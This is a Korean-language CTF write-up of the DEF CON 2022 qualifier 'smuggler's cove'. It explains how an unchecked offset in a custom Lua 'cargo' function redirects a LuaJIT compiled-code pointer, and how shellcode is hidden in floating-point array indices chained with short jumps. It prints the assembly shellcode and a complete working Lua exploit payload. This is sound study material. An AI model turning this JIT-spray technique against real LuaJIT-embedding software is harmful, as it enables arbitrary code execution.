[CTF write up] DEF CON CTF 2022 Qual - smuggler's cove : Open-Source Exploitation

2022. 5. 30. 18:11CTF write up

일반적인 포너블 문제와 달리 netcat이 아닌 웹을 통해 접속해야 한다. 웹에서 사용자로부터 Lua Script를 받고 이를 오픈소스 Lua 컴파일러인 LuaJIT으로 실행한다. 이때, LuaJIT은 공유 파일(so) 형태로 있으며, C로 코딩된 커스텀 바이너리에서 해당 공유 파일을 import 하고 사용자의 Lua Script를 실행한다. 

 

바이너리를 분석해보면 일반적인 Lua 함수는 사용할 수 없으며, C로 구현된 print 함수와 Cargo 함수만을 Lua Script 내에서 이용할 수 있다. 취약점 역시 C로 구현된 함수에 존재하는데, Cargo 함수를 이용하면 사용자가 Lua Script에서 정의한 함수를 가리키는 포인터를 오염시킬 수 있다.

 

취약점 자체는, 커스텀 Lua 함수를 구현하는 바이너리 내에 존재하지만 실제로 Exploit을 통해 Flag를 획득하려면 오픈소스 LuaJIT에 대한 동적 분석이 어느정도 필요하다.

 

 

 

Exploit에 필요한 LuaJIT의 정보는 다음과 같다.

 

1. LuaJIT은 사용자가 Script 내에서 정의한 함수를 Machine Code(assembly)로 컴파일하여 임의로 할당한 r-x 권한을 가진 영역에 저장한다.

2. 이후 해당 함수가 호출되면 함수 포인터를 참조하여 r-x 영역의 assembly를 실행한다.

3. 변수 등에 저장한 문자열이나 정수는 임의로 할당된 rw- 권한을 가진 영역에 저장된다.

4. 변수를 다룰때는 Stack에 넣고 다루기 때문에 일반적으로 컴파일 단에서 사용자가 생성한 임의의 문자열이 r-x 권한의 영역에 들어가는 경우는 없다.

5. Lua에서 정수는 IEEE 754 배정밀도 부동소수점으로 저장된다.

 

 

또한, 해당 문제는 웹 통해 Lua Script를 전송하는 것 말고는 입력가능한 부분이 없기 때문에 Shell은 얻는 것은 의미가 없으며 Flag도 텍스트 파일로 저장되어 있는 것이 아닌 dig_up_the_loot 바이너리에 x marks the spot 이라는 4개의 인자를 주어 실행해야만 Flag가 출력된다.

 

 

이러한 정보를 바탕으로 생각해보았을때, Flag를 얻을 수 있는 유일한 Exploit 루트는 r-x 영역에 어떻게는 shellcode를 집어넣어 실행하는 것 밖에 없다. 만약 메모리 유출 취약점이 있어서 ASLR을 우회한다고 하더라도 shell을 얻는 것이 목적이 아니기 때문에 one_gadget도 쓸 수 없고 ROP처럼 흐름을 이어나갈 수 있는 방법도 없다.

 

    if (offset != 0) {
        if (offset >= t->szmcode - 1) {
            return luaL_error(L, "Avast! Offset too large!");
        }

        t->mcode += offset;
        t->szmcode -= offset;

        printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
    }

 

일단, cove.c 바이너리에 존재하는 Cargo 함수의 취약점은 다음과 같다. t->mcode는 머신코드를 가리키는 함수 포인터이기 때문에 값이 변경되면 흐름 조작이 발생할 수 있다. 해당 취약코드 이전에 알 수 없는 검증과정이 있지만, 문제 서버에서 주는 Cargo 함수 예제를 보면 Cargo 함수의 인자로 주는 함수가 두번 실행된 적이 있어야 Cargo 함수가 동작한다는 것을 쉽게 알 수 있다. 

 

IDA

이외에도 szmcode 변수를 통해 머신코드의 사이즈보다 큰 offset을 입력하는 것을 방지하고 있지만 ida로 디컴파일 해보면 unsigned int 형이라 0일때 -1 연산으로 값이 증가해버려서 이것 역시 큰 의미가 없는 검증 과정이다.

 

결과적으로, 해당 취약점을 이용해 LuaJIT이 사용자의 Script에서 정의된 함수를 실행하려는 시점에서 r-x 영역 내에 있는 임의의 코드로 흐름을 조작할 수 있게 된다.

 

 

하지만 print와 cargo 함수 외에는 어떠한 함수도 lua_pushcclosure 함수를 통해 정의되지 않았기 때문에 r-x 영역의 Machine code를 이용해서 Exploit을 하는 것은 불가능하다. 결국 LuaJIT이 컴파일 단에서 r-x영역에 사용자 값을 넣는 경우를 찾아내야하는데, 위에서 언급했든 일반적인 변수 입력은 전부 rw- 영역에 저장되고 해당 값을 이용할때도 전부 Stack에 넣고 비교하기 때문에 다른 방법을 찾아야 한다.

 

 

array[이겼다!]

여러 고생을 하다가 결국 찾은 방법은 바로 array[]를 이용하는 것이다. LuaJIT은 배열에 접근할때 사용되는 index가 그대로 machine code로 생성된다. 이때, Lua는 정수 자료형을 부동소수점으로 저장하기 때문에 Floating Point to Hex Converter (gregstoll.com) 이곳에서 원하는 Hex 값을 나타내는 부동소수점 값을 가져와서 배열의 index로 넣어줘야 한다.

 

하지만 여전히 큰 문제가 있는데, 겨우 8바이트 값 밖에 넣을 수 없다는 것이다. 비록 array를 여러번 쓸 수 있지만 그렇게 해봣자, 당연히 각 8바이트는 메모리 상에서 서로 멀리 떨어진 상태이고, Script 길이를 최대 433자 밖에 받지 않기 때문에 최대 11개의 array 밖에 만들지 못한다.

 

Flag를 얻으려면, 서로 떨어져 있는 8바이트 공간 11개를 이용해 "./dig_up_the_loot", "x", "marks", "the", "spot"이라는 문자열이 들어간 char 포인터 배열을 생성하고 이를 RSI 레지스터에 넣고, RDI에는 "./dig_up_the_loot" 값을 가리키는 포인터를 넣고, execve syscall을 실행해야 한다(...)

 

일단은 각기 떨어진 8바이트 공간을 이어줄 방법을 찾아야 했는데, 마침 굉장히 유용한 어셈블리 명령어를 발견했다. 

https://mumumi.tistory.com/66

 

어셈블리어 08. JMP

JMP = 실행의 흐름을 뛴다라는 의미 EIP라는 레지스터는 다음에 실행할 명령어의 주소를 저장하는데 평소에는 주소가 차례로 증가하지만 JMP 명령어를 이용해서 중간에 EIP에 저장된 주소를 변경하

mumumi.tistory.com

JMP SHORT를 이용해 단 2바이트로 RIP 레지스터에 값을 더해줄 수 있다. 해당 명령어를 이용하면 남은 6바이트 공간에 다른 어셈블리 명령어를 넣어 쉘코드를 만들 수 있다.

 

참고로 array의 index 값이 동일할 경우 LuaJIT이 최적화를 해버리기 때문에 각 어셈블리 명령어는 서로 달라야하며, 여전히 11개 이하의 공간을 이용해서 모든 것을 해결해야한다.

 

일단은 당연히, 6바이트 씩, 11개 공간으로는 직접 문자열을 Stack에 Push하는 것은 절대 불가능 했기에, 흐름이 조작된 시점에서의 레지스터를 확인해보았고 RCX 레지스터의 LuaJIT이 생성한 임의의 rw- 메모리 영역의 주소가 들어있다는 것을 알아냈다.

 

rw- 메모리 영역에는 사용자가 변수등에 입력한 문자열이 들어있으므로 Script에서 미리 문자열을 입력해두면, RCX 레지스터를 통해 해당 문자열을 참조할 수 있다.

mov rax,rcx;
add rax,0xb0;
xor rdx,rdx;push rdx; push rax;
lea rax, [rax+0x5]; push rax;
lea rax, [rax+0x4]; push rax;
lea rax, [rax+0x6]; push rax;
lea rax, [rax+0x2]; push rax;
mov rdi,rax;mov rsi,rsp;
xor rax, rax;
mov ax,0x3b; syscall;

수많은 시도 끝에 최종적으로 제작한 쉘코드는 다음과 같다. 각 행의 어셈블리 코드 모음은 6바이트를 넘지 않기 때문에 해당 opcode에 적절한 JMP SHORT 명령을 붙여서 array에 index로 넣어주면 된다.

여기서 JMP할 offset은 index 값을 조금만 수정해도 변해버리기 때문에 offset을 맞추려면 일일히 디버깅하면서 온몸을 비틀어야한다(..) 가끔 JMP할 offset을 수정하면 offset이 변해버려서 영원히 맞추지 못하는 경우가 생기는데 이때는 6바이트의 남는 부분에 NOP 어셈블리를 붙여보면 해결"될지도 모른다" (...) 안된다면 다시 짜야된다.

 

 

 

 

 

 

 

local s0 = "spot\x00the\x00marks\x00x\x00./dig_up_the_loot"
a = {}
function f(arg)
a[5.818854254051108e-308]=0
a[1.2119828994673418e-188]=0
a[3.604507616872868e-308]=0
a[3.6045069739006113e-308]=0
a[3.6045069656115653e-308]=0
a[3.6045069821896574e-308]=0
a[3.604506949033473e-308]=0
a[1.0359661452274597e-212]=0
a[5.92480351975e-313]=0
a[2.2373500568022293e-169]=0
a[2261634.5098039214]=0
b = arg
end
f()
f()
cargo(f,0x6c)
f(s0)

opcode에 알맞는 offset을 가진 jmp 명령어를 붙여주고 부동소수점으로 전환해서 Lua script로 페이로드를 만들어주면 된다.

 

 

 

opcode 실행

cargo 함수로 r-x 영역내에서 흐름을 조작해서 "movabs rdi, 0x??" 명령의 opcode를 쪼개서 사용자가 입력한 값인 0x??으로 이동하면 다음과 같이 정상적으로 입력된 어셈블리 명령이 실행된다. 최대 6바이트의 어셈블리 코드가 끝나면 2바이트의 JMP short로 다음 array의 index를 참조하는 명령어에서 다음 어셈블리 코드를 연속적으로 실행하게 된다.

 

 

 

 

 

 

./dig_up_the_loot

RCX 값을 참조하여 뽑아낸 ./dig_up_the_loot x marks the spot 문자열이 Stack에 PUSH되어 char 포인터 배열을 형성하고 이를 RSI에 값에 넣어 syscall 0x3b를 실행하면 ./dig_up_the_loot 가 실행되어 성공적으로 Flag를 얻을 수 있다.